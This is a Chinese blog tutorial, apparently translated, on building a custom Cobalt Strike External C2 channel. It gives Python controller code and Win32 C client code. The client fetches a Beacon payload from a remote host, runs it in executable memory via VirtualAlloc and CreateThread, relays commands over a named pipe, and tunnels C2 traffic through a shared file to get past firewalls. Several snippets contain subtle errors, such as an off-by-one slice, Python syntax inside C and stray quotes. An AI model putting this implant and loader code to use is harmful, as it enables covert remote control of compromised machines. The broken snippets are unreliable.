内容简介:熟悉CobaltStrike的人都知道,实现C2通信的时候会有很多问题,比如通信的出口有防火墙拦截,进程的限制,所以shell权限的维持是个很大的问题,http通道也是一样。我想试着通过其它方法实现C2通信,所以我了解到了External C2 框架。
前言
熟悉CobaltStrike的人都知道,实现C2通信的时候会有很多问题,比如通信的出口有防火墙拦截,进程的限制,所以 shell 权限的维持是个很大的问题,http通道也是一样。
我想试着通过其它方法实现C2通信,所以我了解到了External C2 框架。
External
External C2
是Cobalt Strike引入的一个框架,让我们可以自己构造 HTTP(s)/ DNS/SMB
C2通信通道。完整的文档可以在 这里 下载。
用户可以自己开发自己的C2通信通道:
- 第三方控制器 :负责创建与Cobalt Strike TeamServer的连接,并使用自定义C2通道与目标主机上的第三方客户端进行通信。
- 第三方客户端 :负责使用自定义C2通道与第三方控制器通信,并将命令中继到SMB Beacon。
SMB Beacon - 将在受害主机上执行的标准的Becon。
借用CS官方文档中的图,我们可以看到这几者之间是如何组合在一起的:
我们自定义的C2通道在第三方控制器和第三方客户端之间传输, Client和Control
我们都可以自己构造。
在开始搞事情之前,先了解一下Teamserver是怎么和External C2 通信。
首先,我们要跟cs说我们要启动 External C2
,这是通过 externalc2_start
函数和传递端口来完成的脚本的开发。一旦ExternalC2服务启动并运行,我们需要使用自定义协议进行通信。
协议实际上非常简单,包括一个4字节的小端长度字段和一个数据块,例如:
开始通信的时候,我们的Client会与Teamserver进行连接,发送一些选项:
- arch:要使用的Beacon的体系结构
- pipename:用于与Beacon通信的通道名称
- block:Teamserver将在任务之间阻塞的时间(毫秒为单位)
选项发送以后,第三方控制端发送 go 命令,即是启动External C2通信,发送Beacon,然后,第三方控制端将SMB Beacon的payload中继到第三方客户端,与第三方客户端产生SMB Beacon。
一旦在受害主机上生成SMB Beacon,我们需要建立连接以启用命令传递。这是通过命名管道完成的,第三方客户端和SMB Beacon之间使用的协议与第三方客户端和第三方控制器之间的协议完全相同...一个4字节的小端长度字段,和尾随的数据。
好的,理论讲完了,让我们创建一个 Hello World
示例来简单地通过网络中继通信。
Hello World ExternalC2示例
在这个例子中,我是用 python 作为第三方控制器,C作为第三方控制端。
首先,启动ExternalC2:
# start the External C2 server and bind to 0.0.0.0:2222 externalc2_start("0.0.0.0", 2222);
在0.0.0.0:2222打开 External C2
。
现在ExternalC2已启动并运行,我们可以创建第三方控制器。
首先建立与 TeamServer ExternalC2
接口的连接:
_socketTS = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) _socketTS.connect(("127.0.0.1", 2222))
一旦建立之后,我们需要发送我们的选项。我会创建一些快速辅助函数,以允许我们为4字节长度添加前缀,这样就不用每次手动地去写:
def encodeFrame(data): return struct.pack("<I", len(data)) + data def sendToTS(data): _socketTS.sendall(encodeFrame(data))
现在我们可以使用这些辅助函数来发送我们的选项:
# Send out config options sendToTS("arch=x86") sendToTS(“pipename=xpntest") sendToTS("block=500") sendToTS("go")
现在 Cobalt Strike
知道我们想要一个 x86 SMB Beacon
,我们需要接收数据。让我们再创建一些辅助函数来处理数据包的解码,而不是每次手动地去解码:
def decodeFrame(data): len = struct.unpack("<I", data[0:3]) body = data[4:] return (len, body) def recvFromTS(): data = "" _len = _socketTS.recv(4) l = struct.unpack("<I",_len)[0] while len(data) < l: data += _socketTS.recv(l - len(data)) return data
我们通过以下方式接收原始数据:
data = recvFromTS()
现在我们有一个工作控制器,我们需要创建我们的第三方客户端。为了使其变得更容易,我们将使用win32和C来实现,使我们能够访问Windows本机API。让我们从几个辅助函数开始。首先,我们需要连接到第三方控制器。在这里,我们将简单地使用WinSock2建立到控制器的TCP连接:
// Creates a new C2 controller connection for relaying commands SOCKET createC2Socket(const char *addr, WORD port) { WSADATA wsd; SOCKET sd; SOCKADDR_IN sin; WSAStartup(0x0202, &wsd); memset(&sin, 0, sizeof(sin)); sin.sin_family = AF_INET; sin.sin_port = htons(port); sin.sin_addr.S_un.S_addr = inet_addr(addr); sd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); connect(sd, (SOCKADDR*)&sin, sizeof(sin)); return sd; }
接下来,我们需要一种接收数据的方法。这与我们在Python代码中看到的类似,我们的长度前缀用来指明我们接收的数据字节数:
// Receives data from our C2 controller to be relayed to the injected beacon char *recvData(SOCKET sd, DWORD *len) { char *buffer; DWORD bytesReceived = 0, totalLen = 0; *len = 0; recv(sd, (char *)len, 4, 0); buffer = (char *)malloc(*len); if (buffer == NULL) return NULL; while (totalLen < *len) { bytesReceived = recv(sd, buffer + totalLen, *len - totalLen, 0); totalLen += bytesReceived; } return buffer; }
类似地,我们需要一种通过C2通道将数据返回到Controller的方法:
/ Sends data to our C2 controller received from our injected beacon void sendData(SOCKET sd, const char *data, DWORD len) { char *buffer = (char *)malloc(len + 4); if (buffer == NULL): return; DWORD bytesWritten = 0, totalLen = 0; *(DWORD *)buffer = len; memcpy(buffer + 4, data, len); while (totalLen < len + 4) { bytesWritten = send(sd, buffer + totalLen, len + 4 - totalLen, 0); totalLen += bytesWritten; } free(buffer); }
现在我们可以与Controller通信,我们要做的第一件事就是接收Beacon发来的payload。这是原始的x86或x64 payload(取决于第三方控制器传递给Cobalt Strike的选项是啥),并且在执行之前会被复制到内存中。
例如,我们抓取Beacon Payload:
// Create a connection back to our C2 controller SOCKET c2socket = createC2Socket("192.168.1.65", 8081); payloadData = recvData(c2socket, &payloadLen);
然后为了本演示的目的,我们将使用Win32 VirtualAlloc函数来分配可执行的内存范围,CreateThread执行代码:
HANDLE threadHandle; DWORD threadId = 0; char *alloc = (char *)VirtualAlloc(NULL, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (alloc == NULL) return; memcpy(alloc, payload, len); threadHandle = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)alloc, NULL, 0, &threadId);
SMB Beacon启动并运行后,我们需要连接到它的命名管道。为此,我们将反复尝试连接到我们的 \\.\pipe\xpntest
管道(记住哦,这个pipename早先作为选项传递,并由SMB Beacon用于接收命令):
// Loop until the pipe is up and ready to use while (beaconPipe == INVALID_HANDLE_VALUE) { // Create our IPC pipe for talking to the C2 beacon Sleep(500); beaconPipe = connectBeaconPipe("\\\\.\\pipe\\xpntest"); }
然后,一旦我们建立了连接,我们就可以继续使用 send/recv
循环:
while (true) { // Start the pipe dance payloadData = recvFromBeacon(beaconPipe, &payloadLen); if (payloadLen == 0) break; sendData(c2socket, payloadData, payloadLen); free(payloadData); payloadData = recvData(c2socket, &payloadLen); if (payloadLen == 0) break; sendToBeacon(beaconPipe, payloadData, payloadLen); free(payloadData); }
就是这样,我们讲解了 ExternalC2
服务的基础知识。可在此处找到第三方客户端的完整代码。
现在,做一些更有趣的事情。
将C2转移到文件中
让我们回顾一下在尝试创建自定义C2协议时我们Client的内容:
从这里,我们可以看到第三方控制器和第三方客户端之间的数据传输是比较有意思的地方。以我们之前的“Hello World”示例为例,让我们尝试将其移植到更有趣的地方,通过文件 读/写
传输数据。
我们为什么要这样做?好吧,假设我们处于Windows域环境中,而且机器只有有限的出站访问权限。然而,有一件事是允许访问文件共享...:)
通过将C2数据从访问我们C2服务器的机器写入共享文件,并从具有防火墙的机器中读取数据,我们有办法运行我们的Cobalt Strike Beacon。
我们再看一下:
在这里,我们实际上引入了一个额外的元素,它基本上负责数据隧道的传入和传出文件,并与第三方控制器进行通信。
同样,出于本示例的目的,我们在第三方控制器和 internet连接的主机
之间的通信将使用熟悉的4字节长度前缀协议,因此没有理由去修改我们现有的Python第三方控制器。
但是,我们将把我们以前的第三方客户分成两部分。一个负责在 Internet连接的主机
上运行,从第三方控制器接收数据并将其写入文件。第二个,从 受限主机
运行,从文件中读取数据,生成SMB Beacon,并将数据传递给此Beacon。
我不会回顾上面提到的元素,但我将展示一种可以实现文件传输的方法。
首先,我们需要创建我们将要进行通信的文件。为此,我们将使用 CreateFileA
,但是我们必须确保提供 FILE_SHARE_READ
和 FILE_SHARE_WRITE
选项。这将允许第三方客户端双方同时读取和写入文件:
HANDLE openC2FileServer(const char *filepath) { HANDLE handle; handle = CreateFileA(filepath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (handle == INVALID_HANDLE_VALUE) printf("Error opening file: %x\n", GetLastError()); return handle; }
接下来,我们需要一种方法将C2数据序列化到文件中,以及指示两个客户端中的哪一个应该随时处理数据。
为此,可以使用简单的标题,例如:
struct file_c2_header { DWORD id; DWORD len; };
我们的想法是,我们只是简单地对该id字段进行轮询,该字段向每个第三方客户发出信号,告知谁应该读取以及谁写入数据。
将我们的文件读写助手放在一起,像这样子:
void writeC2File(HANDLE c2File, const char *data, DWORD len, int id) { char *fileBytes = NULL; DWORD bytesWritten = 0; fileBytes = (char *)malloc(8 + len); if (fileBytes == NULL) return; // Add our file header *(DWORD *)fileBytes = id; *(DWORD *)(fileBytes+4) = len; memcpy(fileBytes + 8, data, len); // Make sure we are at the beginning of the file SetFilePointer(c2File, 0, 0, FILE_BEGIN); // Write our C2 data in WriteFile(c2File, fileBytes, 8 + len, &bytesWritten, NULL); printf("[*] Wrote %d bytes\n", bytesWritten); } char *readC2File(HANDLE c2File, DWORD *len, int expect) { char header[8]; DWORD bytesRead = 0; char *fileBytes = NULL; memset(header, 0xFF, sizeof(header)); // Poll until we have our expected id in the header while (*(DWORD *)header != expect) { SetFilePointer(c2File, 0, 0, FILE_BEGIN); ReadFile(c2File, header, 8, &bytesRead, NULL); Sleep(100); } // Read out the expected length from the header *len = *(DWORD *)(header + 4); fileBytes = (char *)malloc(*len); if (fileBytes == NULL) return NULL; // Finally, read out our C2 data ReadFile(c2File, fileBytes, *len, &bytesRead, NULL); printf("[*] Read %d bytes\n", bytesRead); return fileBytes; }
在这里,我们看到我们将标题添加到文件中,并分别将C2数据 读/写
到文件中。
这就是它的全部内容。剩下要做的就是实现我们的 recv/write/read/send
循环,我们在文件传输中运行C2。
可以在此处找到上述第三方控制器的完整代码。
操作视频前往油管观看。
https://youtu.be/ckm7AHkYnVU" width="560"></iframe>
如果您有兴趣了解有关ExternalC2的更多信息,你可以在 Cobalt Strike ExternalC2
帮助页面上找到许多有用的资源,https://www.cobaltstrike.com/help-externalc2。
其实呢,博客有很多资源的。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- Svelte 框架探索
- Flutter 混合开发框架模式探索
- 探索JDK(集合框架)——HashMap 原 荐
- golang 的 gin 框架开发热重启探索
- [译] 探索 SMACSS:可扩展的模块化 CSS 框架
- 医动力Android基于CC组件化框架的探索与实践
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。